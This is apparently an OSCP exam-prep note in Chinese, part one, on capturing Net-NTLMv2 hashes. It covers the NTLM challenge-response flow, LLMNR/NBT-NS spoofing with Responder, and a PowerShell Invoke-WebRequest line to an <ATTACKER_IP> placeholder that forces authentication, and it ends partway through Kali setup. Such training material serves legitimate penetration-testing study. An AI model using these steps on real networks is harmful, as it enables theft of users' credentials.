OSCP 实战笔记:密码攻击之获取并破解 Net-NTLMv2 哈希(上)
在渗透测试的横向移动阶段,获取有效的用户凭证是核心目标。Windows 环境下的 NTLMv2 认证机制虽然比 LM 和 NTLM 更安全,但在特定网络配置下(如未禁用 LLMNR/NBT-NS),依然容易成为攻击突破口。本文将聚焦于如何捕获并初步分析 Net-NTLMv2 哈希,为后续的暴力破解做准备。
1. 密码破解
1.1 破解 Windows 哈希实践
1.1.1 Net-NTLMv2 协议概述
Net-NTLMv2 是 Windows 默认的身份验证协议之一。当客户端尝试访问服务器资源(如 SMB 共享)时,会发起挑战 - 响应(Challenge-Response)流程。攻击者若能截获这一交互过程,即可获得包含用户名、域和挑战值的哈希数据。
1.1.1.1 身份验证流程(以访问 SMB 共享为例)
- 请求:客户端向服务器发送 SMB 连接请求。
- 挑战:服务器返回一个随机生成的 Challenge(8 字节)。
- 响应:客户端使用用户的 NTLM Hash 对 Challenge 进行加密计算,生成 Response。
- 验证:服务器将 Response 与本地存储的哈希比对。
在攻击场景中,我们通常伪装成目标服务器,诱使客户端主动发起连接,从而在第一步就截获 Challenge 和 Response。
1.1.1.2 Net-NTLMv2 协议潜在弱点
尽管算法本身强度尚可,但依赖关系链存在隐患:
- 协议降级:若网络中启用了 LLMNR(Link-Local Multicast Name Resolution)或 NBT-NS(NetBIOS Name Service),攻击者可轻易劫持名称解析请求。
- 明文传输风险:部分旧版本客户端或配置不当的服务可能回退到更弱的认证方式。
- 被动监听:无需直接攻破目标主机,只需在局域网内嗅探流量即可。
1.1.2 Net-NTLMv2 哈希捕获思路
1.1.2.1 核心攻击逻辑
利用 Responder 等工具搭建恶意 SMB/LDAP/HTTP 服务,监听本地网卡。当受害者尝试通过域名访问不存在的资源时,系统会自动广播查询,攻击者抢先响应并提供自己的服务,诱导受害者提交凭证。
1.1.2.2 两种攻击场景与触发方式
1. 场景一:已获得代码执行权限
如果你已经在目标机器上拥有 Shell,可以通过 Invoke-WebRequest 或 curl 强制访问你的 IP,触发认证请求。
# PowerShell 示例:强制访问攻击者 IP
Invoke-WebRequest http://<ATTACKER_IP>/test
2. 场景二:无代码执行权限
此时需依赖网络层面的欺骗。确保目标机器开启了 LLMNR 或 NBT-NS 功能,且防火墙未拦截相关 UDP 端口(5355, 137)。
1.1.3 捕获 Net-NTLMv2 哈希实践
1.1.3.1 使用 Responder 模拟 SMB 服务器(在 Kali 上)
Responder 是 Linux 环境下最流行的此类工具,支持多种协议嗅探。
1. 环境准备与确认
确保你处于同一局域网段,且 Kali 的网卡已正确配置 IP。
# 查看网卡名称
ip addr show
# 假设网卡为 eth0


